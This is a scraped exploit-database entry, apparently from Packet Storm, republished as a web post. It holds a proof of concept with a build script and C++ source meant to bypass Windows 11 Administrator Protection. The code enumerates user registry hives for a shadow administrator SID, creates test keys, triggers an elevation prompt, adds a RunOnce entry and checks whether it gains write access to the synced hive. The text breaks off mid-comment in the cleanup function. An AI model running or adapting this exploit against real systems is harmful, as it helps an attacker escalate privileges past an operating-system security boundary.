{"id":39045,"date":"2026-02-04T10:48:47","date_gmt":"2026-02-04T10:48:47","guid":{"rendered":"http:\/\/localhost\/?p=39045"},"modified":"2026-02-04T10:48:47","modified_gmt":"2026-02-04T10:48:47","slug":"microsoft-windows-11-build-100278981000-advanced-admin-protection-bypass","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=39045","title":{"rendered":"\ud83d\udcc4 Microsoft Windows 11 Build 10.0.27898.1000 Advanced Admin Protection Bypass_PACKETSTORM:214888"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-04T16:29:33&#8243;,&#8221;description&#8221;:&#8221;This enhanced proof of concept demonstrates an advanced method for bypassing Windows Administrator Protection by manipulating registry hives using both WinAPI and NTAPI. The code implements safe smart\u2011pointer wrappers for handles, secure SID&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-04T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-04T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Microsoft Windows 11 Build 10.0.27898.1000 Advanced Admin Protection Bypass&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:214888&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Microsoft Windows 11 build 10.0.27898.1000 Advanced Admin Protection Bypass via NTAPI Registry Manipulation                 |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : System built\u2011in component. No standalone download available.                                                                |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/212253\/\\n    \\n    [+] Summary : This enhanced Proof\u2011of\u2011Concept demonstrates an advanced method for bypassing Windows Administrator Protection by manipulating registry hives using both WinAPI and NTAPI.\\n                  The code implements safe smart\u2011pointer wrappers for handles, secure SID management, deep registry enumeration, privilege checks, \\n    \\t\\t\\t  shadow administrator SID detection, recursive key deletion, and controlled key creation under HKEY_USERS.\\n                  It also attempts to trigger Windows\u2019 internal AiRegistrySync mechanism to replicate changes across user hives.\\n                 The PoC is fully optimized, uses modern C++ RAII patterns, and provides detailed diagnostic output for all operations, \\n    \\t\\t\\t making it suitable for research, auditing, and security analysis on Windows 10 and later.\\n    \\n    [+] POC : \\n    \\n    build_enhanced.bat):\\n    \\n    @echo off\\n    echo Building AdminProtectionBypass Enhanced PoC&#8230;\\n    \\n    :: \u0627\u0633\u062a\u062e\u062f\u0627\u0645 Visual Studio 2022 Compiler\\n    call \\&#8221;C:\\\\Program Files\\\\Microsoft Visual Studio\\\\2022\\\\Community\\\\VC\\\\Auxiliary\\\\Build\\\\vcvars64.bat\\&#8221;\\n    \\n    :: \u0627\u0644\u0628\u0646\u0627\u0621\\n    cl.exe AdminProtectionBypass_Enhanced.cpp ^\\n        \/O2 ^\\n        \/EHsc ^\\n        \/std:c++17 ^\\n        \/Fe:AdminProtectionBypass_Enhanced.exe ^\\n        \/D _WIN32_WINNT=0x0A00 ^\\n        \/D _CRT_SECURE_NO_WARNINGS ^\\n        \/link ^\\n        advapi32.lib ^\\n        rpcrt4.lib ^\\n        shell32.lib ^\\n        user32.lib ^\\n        shlwapi.lib\\n    \\n    if %errorlevel% equ 0 (\\n        echo.\\n        echo [SUCCESS] Build completed: AdminProtectionBypass_Enhanced.exe\\n        echo.\\n        echo Usage: AdminProtectionBypass_Enhanced.exe\\n        echo Note: Run as standard user for best results\\n    ) else (\\n        echo.\\n        echo [ERROR] Build failed\\n        pause\\n    )\\n    \\n    #define WIN32_LEAN_AND_MEAN\\n    #define _WIN32_WINNT 0x0A00  \/\/ Windows 10\\n    #include \\u003cwindows.h\\u003e\\n    #include \\u003cstdio.h\\u003e\\n    #include \\u003cstring\\u003e\\n    #include \\u003cvector\\u003e\\n    #include \\u003csddl.h\\u003e\\n    #include \\u003crpc.h\\u003e\\n    #include \\u003caclapi.h\\u003e\\n    #include \\u003cshlwapi.h\\u003e\\n    #include \\u003calgorithm\\u003e\\n    #include \\u003cmemory\\u003e\\n    \\n    #pragma comment(lib, \\&#8221;rpcrt4.lib\\&#8221;)\\n    #pragma comment(lib, \\&#8221;advapi32.lib\\&#8221;)\\n    #pragma comment(lib, \\&#8221;shlwapi.lib\\&#8221;)\\n    \\n    \/\/ ==================== NTAPI Definitions ====================\\n    typedef struct _RTL_OSVERSIONINFOW {\\n        ULONG dwOSVersionInfoSize;\\n        ULONG dwMajorVersion;\\n        ULONG dwMinorVersion;\\n        ULONG dwBuildNumber;\\n        ULONG dwPlatformId;\\n        WCHAR szCSDVersion[128];\\n    } RTL_OSVERSIONINFOW, *PRTL_OSVERSIONINFOW;\\n    \\n    typedef struct _UNICODE_STRING {\\n        USHORT Length;\\n        USHORT MaximumLength;\\n        PWSTR  Buffer;\\n    } UNICODE_STRING, *PUNICODE_STRING;\\n    \\n    typedef struct _OBJECT_ATTRIBUTES {\\n        ULONG Length;\\n        HANDLE RootDirectory;\\n        PUNICODE_STRING ObjectName;\\n        ULONG Attributes;\\n        PVOID SecurityDescriptor;\\n        PVOID SecurityQualityOfService;\\n    } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;\\n    \\n    \/\/ \u062a\u0639\u0631\u064a\u0641 \u0627\u0644\u062b\u0648\u0627\u0628\u062a\\n    #define OBJ_CASE_INSENSITIVE 0x00000040L\\n    \\n    \/\/ \u062a\u0639\u0631\u064a\u0641\u0627\u062a \u0627\u0644\u062f\u0648\u0627\u0644 NTAPI\\n    extern \\&#8221;C\\&#8221; {\\n        typedef LONG NTSTATUS;\\n        #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) \\u003e= 0)\\n        #define STATUS_SUCCESS 0x00000000\\n        \\n        NTSTATUS NTAPI NtDeleteKey(HANDLE KeyHandle);\\n        NTSTATUS NTAPI NtClose(HANDLE Handle);\\n        NTSTATUS NTAPI NtOpenKey(\\n            PHANDLE KeyHandle,\\n            ACCESS_MASK DesiredAccess,\\n            POBJECT_ATTRIBUTES ObjectAttributes\\n        );\\n        VOID NTAPI RtlInitUnicodeString(\\n            PUNICODE_STRING DestinationString,\\n            PCWSTR SourceString\\n        );\\n        NTSTATUS NTAPI RtlGetVersion(\\n            PRTL_OSVERSIONINFOW lpVersionInformation\\n        );\\n    }\\n    \\n    \/\/ ==================== Smart Pointer Wrappers ====================\\n    class SmartHandle {\\n    public:\\n        SmartHandle() : h(nullptr) {}\\n        explicit SmartHandle(HANDLE handle) : h(handle) {}\\n        \\n        \/\/ Delete copy operations\\n        SmartHandle(const SmartHandle\\u0026) = delete;\\n        SmartHandle\\u0026 operator=(const SmartHandle\\u0026) = delete;\\n        \\n        \/\/ Allow move operations\\n        SmartHandle(SmartHandle\\u0026\\u0026 other) noexcept : h(other.h) {\\n            other.h = nullptr;\\n        }\\n        \\n        SmartHandle\\u0026 operator=(SmartHandle\\u0026\\u0026 other) noexcept {\\n            if (this != \\u0026other) {\\n                if (h) NtClose(h);\\n                h = other.h;\\n                other.h = nullptr;\\n            }\\n            return *this;\\n        }\\n        \\n        ~SmartHandle() {\\n            if (h) NtClose(h);\\n        }\\n        \\n        HANDLE get() const { return h; }\\n        HANDLE* ptr() { return \\u0026h; }\\n        operator HANDLE() const { return h; }\\n        bool valid() const { return h != nullptr \\u0026\\u0026 h != INVALID_HANDLE_VALUE; }\\n        \\n        void reset(HANDLE handle = nullptr) {\\n            if (h \\u0026\\u0026 h != handle) NtClose(h);\\n            h = handle;\\n        }\\n    \\n    private:\\n        HANDLE h;\\n    };\\n    \\n    \/\/ Deleter for HKEY\\n    struct RegKeyDeleter {\\n        void operator()(HKEY hKey) const {\\n            if (hKey) RegCloseKey(hKey);\\n        }\\n    };\\n    \\n    using SmartRegKey = std::unique_ptr\\u003cstd::remove_pointer\\u003cHKEY\\u003e::type, RegKeyDeleter\\u003e;\\n    \\n    \/\/ Deleter for SID\\n    struct SidDeleter {\\n        void operator()(PSID pSid) const {\\n            if (pSid) FreeSid(pSid);\\n        }\\n    };\\n    using SmartSid = std::unique_ptr\\u003cvoid, SidDeleter\\u003e;\\n    \\n    \/\/ ==================== Helper Functions ====================\\n    bool IsUserInAdministratorsGroup() {\\n        BOOL bIsAdmin = FALSE;\\n        PSID pAdminSid = nullptr;\\n        SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;\\n        \\n        if (AllocateAndInitializeSid(\\u0026NtAuthority, 2,\\n            SECURITY_BUILTIN_DOMAIN_RID,\\n            DOMAIN_ALIAS_RID_ADMINS,\\n            0, 0, 0, 0, 0, 0, \\u0026pAdminSid)) {\\n            \\n            SmartSid adminSid(pAdminSid);\\n            CheckTokenMembership(nullptr, adminSid.get(), \\u0026bIsAdmin);\\n        }\\n        \\n        return bIsAdmin != FALSE;\\n    }\\n    \\n    std::wstring GetCurrentUserSid() {\\n        HANDLE hToken = nullptr;\\n        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, \\u0026hToken)) {\\n            wprintf(L\\&#8221;[!] Failed to open process token: %lu\\\\n\\&#8221;, GetLastError());\\n            return L\\&#8221;\\&#8221;;\\n        }\\n        \\n        SmartHandle token(hToken);\\n        \\n        DWORD tokenInfoSize = 0;\\n        GetTokenInformation(token.get(), TokenUser, nullptr, 0, \\u0026tokenInfoSize);\\n        \\n        if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {\\n            return L\\&#8221;\\&#8221;;\\n        }\\n        \\n        std::vector\\u003cBYTE\\u003e buffer(tokenInfoSize);\\n        PTOKEN_USER pTokenUser = nullptr;\\n        \\n        if (GetTokenInformation(token.get(), TokenUser, buffer.data(), tokenInfoSize, \\u0026tokenInfoSize)) {\\n            pTokenUser = reinterpret_cast\\u003cPTOKEN_USER\\u003e(buffer.data());\\n        }\\n        \\n        LPWSTR sidString = nullptr;\\n        std::wstring result;\\n        \\n        if (pTokenUser \\u0026\\u0026 ConvertSidToStringSidW(pTokenUser-\\u003eUser.Sid, \\u0026sidString)) {\\n            result = sidString;\\n            LocalFree(sidString);\\n        }\\n        \\n        return result;\\n    }\\n    \\n    std::wstring FindShadowAdminSid() {\\n        wprintf(L\\&#8221;[*] Searching for shadow administrator hive&#8230;\\\\n\\&#8221;);\\n        \\n        HKEY hUsers = nullptr;\\n        if (RegOpenKeyExW(HKEY_USERS, nullptr, 0, KEY_READ, \\u0026hUsers) != ERROR_SUCCESS) {\\n            return L\\&#8221;\\&#8221;;\\n        }\\n        \\n        SmartRegKey hUsersKey(hUsers);\\n        std::wstring shadowSid;\\n        wchar_t subkeyName[256];\\n        DWORD index = 0;\\n        \\n        std::wstring currentSid = GetCurrentUserSid();\\n        \\n        while (RegEnumKeyW(hUsersKey.get(), index++, subkeyName, ARRAYSIZE(subkeyName)) == ERROR_SUCCESS) {\\n            std::wstring sid = subkeyName;\\n            \\n            \/\/ \u062a\u062c\u0627\u0647\u0644 SID \u0627\u0644\u062d\u0627\u0644\u064a \u0648 SIDs \u0627\u0644\u0646\u0638\u0627\u0645\u064a\u0629\\n            if (sid == currentSid || \\n                sid.find(L\\&#8221;S-1-5-18\\&#8221;) == 0 ||  \/\/ SYSTEM\\n                sid.find(L\\&#8221;S-1-5-19\\&#8221;) == 0 ||  \/\/ LOCAL SERVICE\\n                sid.find(L\\&#8221;S-1-5-20\\&#8221;) == 0 ||  \/\/ NETWORK SERVICE\\n                sid.find(L\\&#8221;_Classes\\&#8221;) != std::wstring::npos) {\\n                continue;\\n            }\\n            \\n            \/\/ SID \u0637\u0628\u064a\u0639\u064a\\n            if (sid.find(L\\&#8221;S-1-5-21-\\&#8221;) == 0) {\\n                \/\/ \u0641\u062d\u0635 hive\\n                std::wstring testPath = sid + L\\&#8221;\\\\\\\\Environment\\&#8221;;\\n                HKEY hTest = nullptr;\\n                \\n                if (RegOpenKeyExW(HKEY_USERS, testPath.c_str(), 0, KEY_READ, \\u0026hTest) == ERROR_SUCCESS) {\\n                    RegCloseKey(hTest);\\n                    \\n                    \/\/ \u0645\u062d\u0627\u0648\u0644\u0629 \u0627\u0644\u0643\u062a\u0627\u0628\u0629 (\u064a\u062c\u0628 \u0623\u0646 \u062a\u0643\u0648\u0646 \u0645\u0645\u0646\u0648\u0639\u0629)\\n                    if (RegOpenKeyExW(HKEY_USERS, testPath.c_str(), 0, KEY_WRITE, \\u0026hTest) != ERROR_SUCCESS) {\\n                        shadowSid = sid;\\n                        wprintf(L\\&#8221;[+] Found shadow admin candidate: %s\\\\n\\&#8221;, shadowSid.c_str());\\n                        break;\\n                    }\\n                    RegCloseKey(hTest);\\n                }\\n            }\\n        }\\n        \\n        return shadowSid;\\n    }\\n    \\n    bool CheckRegistryAccess(const std::wstring\\u0026 keyPath, REGSAM desiredAccess) {\\n        HKEY hKey = nullptr;\\n        \\n        LSTATUS status = RegOpenKeyExW(\\n            HKEY_USERS,\\n            keyPath.c_str(),\\n            0,\\n            desiredAccess,\\n            \\u0026hKey\\n        );\\n        \\n        SmartRegKey hKeyPtr(hKey);\\n        \\n        if (status == ERROR_SUCCESS) {\\n            wprintf(L\\&#8221;[+] Access granted: 0x%08lX to %s\\\\n\\&#8221;, desiredAccess, keyPath.c_str());\\n            \\n            if (desiredAccess \\u0026 KEY_SET_VALUE) {\\n                const wchar_t* testValue = L\\&#8221;PoC_Test\\&#8221;;\\n                status = RegSetValueExW(hKeyPtr.get(), L\\&#8221;PoC_WriteTest\\&#8221;, 0, REG_SZ,\\n                    reinterpret_cast\\u003cconst BYTE*\\u003e(testValue), \\n                    static_cast\\u003cDWORD\\u003e((wcslen(testValue) + 1) * sizeof(wchar_t)));\\n                \\n                if (status == ERROR_SUCCESS) {\\n                    wprintf(L\\&#8221;[+] Write access confirmed\\\\n\\&#8221;);\\n                    RegDeleteValueW(hKeyPtr.get(), L\\&#8221;PoC_WriteTest\\&#8221;);\\n                    return true;\\n                } else {\\n                    wprintf(L\\&#8221;[!] Write test failed: %lu\\\\n\\&#8221;, status);\\n                }\\n            }\\n            return true;\\n        }\\n        \\n        wprintf(L\\&#8221;[!] Access denied: 0x%08lX to %s (Error: %lu)\\\\n\\&#8221;, \\n               desiredAccess, keyPath.c_str(), status);\\n        return false;\\n    }\\n    \\n    bool CreateKeyboardLayoutKey(const std::wstring\\u0026 keyPath) {\\n        HKEY hReg = nullptr;\\n    \\n        LONG status = RegCreateKeyExW(\\n            HKEY_USERS,\\n            keyPath.c_str(),\\n            0, nullptr,\\n            REG_OPTION_NON_VOLATILE,\\n            KEY_SET_VALUE | KEY_CREATE_SUB_KEY,\\n            nullptr,\\n            \\u0026hReg, nullptr\\n        );\\n    \\n        if (status != ERROR_SUCCESS) {\\n            wprintf(L\\&#8221;[!] Failed to create key: %lu\\\\n\\&#8221;, status);\\n            return false;\\n        }\\n    \\n        SmartRegKey hKey(hReg);\\n        wprintf(L\\&#8221;[+] Created keyboard layout key: %s\\\\n\\&#8221;, keyPath.c_str());\\n    \\n        \/\/ DWORD value\\n        DWORD dwValue = 1;\\n        if (RegSetValueExW(hKey.get(), L\\&#8221;PoC_DWORD\\&#8221;, 0, REG_DWORD,\\n            reinterpret_cast\\u003cconst BYTE*\\u003e(\\u0026dwValue), sizeof(dwValue)) == ERROR_SUCCESS) {\\n            wprintf(L\\&#8221;[+] DWORD value added\\\\n\\&#8221;);\\n        } else {\\n            wprintf(L\\&#8221;[!] Failed to add DWORD\\\\n\\&#8221;);\\n        }\\n    \\n        \/\/ String value\\n        const wchar_t* sVal = L\\&#8221;PoC_String\\&#8221;;\\n        if (RegSetValueExW(hKey.get(), L\\&#8221;PoC_String\\&#8221;, 0, REG_SZ,\\n            reinterpret_cast\\u003cconst BYTE*\\u003e(sVal), \\n            static_cast\\u003cDWORD\\u003e((wcslen(sVal) + 1) * sizeof(wchar_t))) == ERROR_SUCCESS) {\\n            wprintf(L\\&#8221;[+] String value added\\\\n\\&#8221;);\\n        } else {\\n            wprintf(L\\&#8221;[!] Failed to add string\\\\n\\&#8221;);\\n        }\\n    \\n        return true;\\n    }\\n    \\n    bool DeleteRegistryKey(const std::wstring\\u0026 keyPath) {\\n        wprintf(L\\&#8221;[*] Deleting key: %s\\\\n\\&#8221;, keyPath.c_str());\\n    \\n        std::wstring ntPath = L\\&#8221;\\\\\\\\Registry\\\\\\\\User\\\\\\\\\\&#8221; + keyPath;\\n    \\n        UNICODE_STRING uKey;\\n        RtlInitUnicodeString(\\u0026uKey, ntPath.c_str());\\n    \\n        OBJECT_ATTRIBUTES attr;\\n        InitializeObjectAttributes(\\u0026attr, \\u0026uKey, OBJ_CASE_INSENSITIVE, nullptr, nullptr);\\n    \\n        SmartHandle hKey;\\n    \\n        NTSTATUS status = NtOpenKey(hKey.ptr(), DELETE, \\u0026attr);\\n        if (!NT_SUCCESS(status)) {\\n            \/\/ \u0645\u062d\u0627\u0648\u0644\u0629 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 WinAPI \u0625\u0630\u0627 \u0641\u0634\u0644 NTAPI\\n            wprintf(L\\&#8221;[!] NtOpenKey failed: 0x%08X, trying RegDeleteKey&#8230;\\\\n\\&#8221;, status);\\n            \\n            if (RegDeleteKeyW(HKEY_USERS, keyPath.c_str()) == ERROR_SUCCESS) {\\n                wprintf(L\\&#8221;[+] Key deleted via RegDeleteKey\\\\n\\&#8221;);\\n                return true;\\n            }\\n            \\n            wprintf(L\\&#8221;[!] RegDeleteKey also failed: %lu\\\\n\\&#8221;, GetLastError());\\n            return false;\\n        }\\n    \\n        status = NtDeleteKey(hKey.get());\\n        if (!NT_SUCCESS(status)) {\\n            wprintf(L\\&#8221;[!] NtDeleteKey failed: 0x%08X\\\\n\\&#8221;, status);\\n            return false;\\n        }\\n    \\n        wprintf(L\\&#8221;[+] Key deleted successfully via NTAPI\\\\n\\&#8221;);\\n        return true;\\n    }\\n    \\n    bool DeleteRegistryKeyRecursive(const std::wstring\\u0026 keyPath) {\\n        wprintf(L\\&#8221;[*] Recursive delete: %s\\\\n\\&#8221;, keyPath.c_str());\\n        \\n        HKEY hKey = nullptr;\\n        LSTATUS status = RegOpenKeyExW(\\n            HKEY_USERS,\\n            keyPath.c_str(),\\n            0,\\n            KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE,\\n            \\u0026hKey\\n        );\\n        \\n        if (status != ERROR_SUCCESS) {\\n            return false; \/\/ \u0627\u0644\u0645\u0641\u062a\u0627\u062d \u063a\u064a\u0631 \u0645\u0648\u062c\u0648\u062f\\n        }\\n        \\n        SmartRegKey hKeyPtr(hKey);\\n        \\n        \/\/ \u062c\u0645\u0639 \u062c\u0645\u064a\u0639 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d \u0627\u0644\u0641\u0631\u0639\u064a\u0629 \u0623\u0648\u0644\u0627\u064b\\n        std::vector\\u003cstd::wstring\\u003e subkeys;\\n        wchar_t subkeyName[256];\\n        DWORD subkeyIndex = 0;\\n        DWORD subkeyNameSize = ARRAYSIZE(subkeyName);\\n        \\n        while (RegEnumKeyExW(hKeyPtr.get(), subkeyIndex, subkeyName, \\u0026subkeyNameSize,\\n                            nullptr, nullptr, nullptr, nullptr) == ERROR_SUCCESS) {\\n            subkeys.push_back(subkeyName);\\n            subkeyNameSize = ARRAYSIZE(subkeyName);\\n            subkeyIndex++;\\n        }\\n        \\n        hKeyPtr.reset(); \/\/ \u0625\u063a\u0644\u0627\u0642 \u0627\u0644\u0645\u0641\u062a\u0627\u062d\\n        \\n        \/\/ \u062d\u0630\u0641 \u062c\u0645\u064a\u0639 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d \u0627\u0644\u0641\u0631\u0639\u064a\u0629 \u0628\u0634\u0643\u0644 \u0645\u062a\u0643\u0631\u0631\\n        for (const auto\\u0026 subkey : subkeys) {\\n            std::wstring fullPath = keyPath + L\\&#8221;\\\\\\\\\\&#8221; + subkey;\\n            DeleteRegistryKeyRecursive(fullPath);\\n        }\\n        \\n        \/\/ \u062d\u0630\u0641 \u0627\u0644\u0645\u0641\u062a\u0627\u062d \u0646\u0641\u0633\u0647\\n        return DeleteRegistryKey(keyPath);\\n    }\\n    \\n    bool TriggerAiRegistrySyncViaElevation() {\\n        wprintf(L\\&#8221;[*] Attempting to trigger AiRegistrySync via elevation&#8230;\\\\n\\&#8221;);\\n        \\n        \/\/ \u0637\u0631\u064a\u0642\u0629 1: \u0645\u062d\u0627\u0648\u0644\u0629 \u062a\u0634\u063a\u064a\u0644 \u0623\u0645\u0631 \u064a\u062d\u062a\u0627\u062c \u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a\\n        SHELLEXECUTEINFOW sei = { sizeof(sei) };\\n        sei.lpVerb = L\\&#8221;runas\\&#8221;;\\n        sei.lpFile = L\\&#8221;cmd.exe\\&#8221;;\\n        sei.lpParameters = L\\&#8221;\/c timeout 1 \\u003e nul\\&#8221;;\\n        sei.nShow = SW_HIDE;\\n        sei.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_NO_UI;\\n        \\n        if (ShellExecuteExW(\\u0026sei)) {\\n            wprintf(L\\&#8221;[+] Elevation attempt triggered\\\\n\\&#8221;);\\n            \\n            if (sei.hProcess) {\\n                WaitForSingleObject(sei.hProcess, 3000);\\n                CloseHandle(sei.hProcess);\\n            }\\n            return true;\\n        }\\n        \\n        wprintf(L\\&#8221;[!] Direct elevation failed: %lu\\\\n\\&#8221;, GetLastError());\\n        \\n        \/\/ \u0637\u0631\u064a\u0642\u0629 2: \u0645\u062d\u0627\u0648\u0644\u0629 \u062a\u0634\u063a\u064a\u0644 \u0634\u064a\u0621 \u0645\u0646 RunOnce\\n        HKEY hRunOnce = nullptr;\\n        if (RegOpenKeyExW(HKEY_CURRENT_USER, \\n                         L\\&#8221;Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\RunOnce\\&#8221;,\\n                         0, KEY_WRITE, \\u0026hRunOnce) == ERROR_SUCCESS) {\\n            \\n            SmartRegKey hRunOnceKey(hRunOnce);\\n            const wchar_t* testValue = L\\&#8221;cmd.exe \/c echo Test\\&#8221;;\\n            \\n            RegSetValueExW(hRunOnceKey.get(), L\\&#8221;TestSync\\&#8221;, 0, REG_SZ,\\n                          reinterpret_cast\\u003cconst BYTE*\\u003e(testValue),\\n                          static_cast\\u003cDWORD\\u003e((wcslen(testValue) + 1) * sizeof(wchar_t)));\\n            \\n            wprintf(L\\&#8221;[+] Added RunOnce entry (may trigger sync on next login)\\\\n\\&#8221;);\\n            return true;\\n        }\\n        \\n        return false;\\n    }\\n    \\n    void WaitForSyncWithProgress(DWORD milliseconds) {\\n        wprintf(L\\&#8221;[*] Waiting %lu ms for AiRegistrySync&#8230;\\\\n\\&#8221;, milliseconds);\\n        \\n        DWORD interval = 1000; \/\/ \u0627\u0644\u062a\u062d\u0642\u0642 \u0643\u0644 \u062b\u0627\u0646\u064a\u0629\\n        DWORD elapsed = 0;\\n        \\n        while (elapsed \\u003c milliseconds) {\\n            DWORD waitTime = std::min(interval, milliseconds &#8211; elapsed);\\n            Sleep(waitTime);\\n            elapsed += waitTime;\\n            \\n            if (elapsed % 5000 == 0 \\u0026\\u0026 elapsed \\u003e 0) {\\n                wprintf(L\\&#8221;[*] Still waiting&#8230; (%lu ms elapsed)\\\\n\\&#8221;, elapsed);\\n            }\\n        }\\n    }\\n    \\n    bool TestVulnerability(const std::wstring\\u0026 userSid, const std::wstring\\u0026 shadowSid) {\\n        wprintf(L\\&#8221;\\\\n[+] ============================================\\\\n\\&#8221;);\\n        wprintf(L\\&#8221;[+] VULNERABILITY TEST PROCEDURE\\\\n\\&#8221;);\\n        wprintf(L\\&#8221;[+] ============================================\\\\n\\\\n\\&#8221;);\\n        \\n        \/\/ \u0627\u0644\u062e\u0637\u0648\u0629 1: \u0625\u0646\u0634\u0627\u0621 \u0645\u0641\u062a\u0627\u062d \u0641\u064a hive \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\\n        wprintf(L\\&#8221;[*] Step 1: Creating test key in user hive\\\\n\\&#8221;);\\n        std::wstring userKeyName = L\\&#8221;TestVulnKey_\\&#8221; + std::to_wstring(GetTickCount());\\n        std::wstring userKeyPath = userSid + L\\&#8221;\\\\\\\\Keyboard Layout\\\\\\\\\\&#8221; + userKeyName;\\n        \\n        if (!CreateKeyboardLayoutKey(userKeyPath)) {\\n            return false;\\n        }\\n        \\n        \/\/ \u0627\u0644\u062e\u0637\u0648\u0629 2: \u062a\u0641\u0639\u064a\u0644 AiRegistrySync\\n        wprintf(L\\&#8221;\\\\n[*] Step 2: Triggering AiRegistrySync\\\\n\\&#8221;);\\n        TriggerAiRegistrySyncViaElevation();\\n        \\n        \/\/ \u0627\u0644\u062e\u0637\u0648\u0629 3: \u0627\u0644\u0627\u0646\u062a\u0638\u0627\u0631 \u0644\u0644\u0646\u0633\u062e\\n        wprintf(L\\&#8221;\\\\n[*] Step 3: Waiting for sync to complete\\\\n\\&#8221;);\\n        WaitForSyncWithProgress(20000); \/\/ 20 \u062b\u0627\u0646\u064a\u0629\\n        \\n        \/\/ \u0627\u0644\u062e\u0637\u0648\u0629 4: \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0627\u0644\u0646\u0633\u062e\\n        wprintf(L\\&#8221;\\\\n[*] Step 4: Checking for key copy to shadow hive\\\\n\\&#8221;);\\n        std::wstring shadowKeyPath = shadowSid + L\\&#8221;\\\\\\\\Keyboard Layout\\\\\\\\\\&#8221; + userKeyName;\\n        \\n        HKEY hShadowKey = nullptr;\\n        LSTATUS status = RegOpenKeyExW(\\n            HKEY_USERS,\\n            shadowKeyPath.c_str(),\\n            0,\\n            KEY_READ,\\n            \\u0026hShadowKey\\n        );\\n        \\n        SmartRegKey hShadowKeyPtr(hShadowKey);\\n        \\n        if (status == ERROR_SUCCESS) {\\n            wprintf(L\\&#8221;[+] SUCCESS: Key was copied to shadow hive!\\\\n\\&#8221;);\\n            \\n            \/\/ \u0642\u0631\u0627\u0621\u0629 \u0627\u0644\u0642\u064a\u0645\u0629 \u0644\u0644\u062a\u0623\u0643\u062f\\n            DWORD readValue = 0;\\n            DWORD valueSize = sizeof(readValue);\\n            if (RegQueryValueExW(hShadowKeyPtr.get(), L\\&#8221;PoC_DWORD\\&#8221;, nullptr, nullptr,\\n                                reinterpret_cast\\u003cBYTE*\\u003e(\\u0026readValue), \\u0026valueSize) == ERROR_SUCCESS) {\\n                wprintf(L\\&#8221;[+] Copied value matches: %lu\\\\n\\&#8221;, readValue);\\n                \\n                \/\/ \u0645\u062d\u0627\u0648\u0644\u0629 \u0627\u0644\u0643\u062a\u0627\u0628\u0629 (\u064a\u062c\u0628 \u0623\u0646 \u062a\u0643\u0648\u0646 \u0645\u0633\u0645\u0648\u062d\u0629 \u0625\u0630\u0627 \u0643\u0627\u0646\u062a \u0627\u0644\u062b\u063a\u0631\u0629 \u0645\u0648\u062c\u0648\u062f\u0629)\\n                if (CheckRegistryAccess(shadowKeyPath, KEY_WRITE)) {\\n                    wprintf(L\\&#8221;[!] CRITICAL: Have WRITE access to copied key!\\\\n\\&#8221;);\\n                    wprintf(L\\&#8221;[!] This confirms the vulnerability!\\\\n\\&#8221;);\\n                    return true;\\n                }\\n            }\\n            \\n            return true;\\n        } else {\\n            wprintf(L\\&#8221;[!] Key not copied to shadow hive\\\\n\\&#8221;);\\n            wprintf(L\\&#8221;[!] Possible reasons:\\\\n\\&#8221;);\\n            wprintf(L\\&#8221;    1. AiRegistrySync not triggered\\\\n\\&#8221;);\\n            wprintf(L\\&#8221;    2. Sync hasn&#8217;t completed yet\\\\n\\&#8221;);\\n            wprintf(L\\&#8221;    3. System may be patched\\\\n\\&#8221;);\\n            wprintf(L\\&#8221;[*] Error: %lu\\\\n\\&#8221;, status);\\n        }\\n        \\n        return false;\\n    }\\n    \\n    void PrintSystemInfo() {\\n        RTL_OSVERSIONINFOW osvi = { sizeof(osvi) };\\n        NTSTATUS status = RtlGetVersion(\\u0026osvi);\\n        \\n        if (NT_SUCCESS(status)) {\\n            wprintf(L\\&#8221;[*] System Information:\\\\n\\&#8221;);\\n            wprintf(L\\&#8221;    OS Version: %lu.%lu\\\\n\\&#8221;, osvi.dwMajorVersion, osvi.dwMinorVersion);\\n            wprintf(L\\&#8221;    Build: %lu\\\\n\\&#8221;, osvi.dwBuildNumber);\\n            \\n            if (osvi.dwBuildNumber \\u003e= 27898) {\\n                wprintf(L\\&#8221;    [!] This build supports Administrator Protection\\\\n\\&#8221;);\\n            } else {\\n                wprintf(L\\&#8221;    [!] This build may not support Administrator Protection\\\\n\\&#8221;);\\n            }\\n        }\\n        \\n        if (IsUserInAdministratorsGroup()) {\\n            wprintf(L\\&#8221;    Current user: Administrator group member\\\\n\\&#8221;);\\n        } else {\\n            wprintf(L\\&#8221;    Current user: Standard user (good for testing)\\\\n\\&#8221;);\\n        }\\n        \\n        wprintf(L\\&#8221;\\\\n\\&#8221;);\\n    }\\n    \\n    void CleanupTestKeys(const std::wstring\\u0026 userSid, const std::wstring\\u0026 shadowSid) {\\n        wprintf(L\\&#8221;\\\\n[*] Cleaning up test keys&#8230;\\\\n\\&#8221;);\\n        \\n        \/\/ \u062d\u0630\u0641 \u062c\u0645\u064a\u0639 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d \u0627\u0644\u062a\u064a 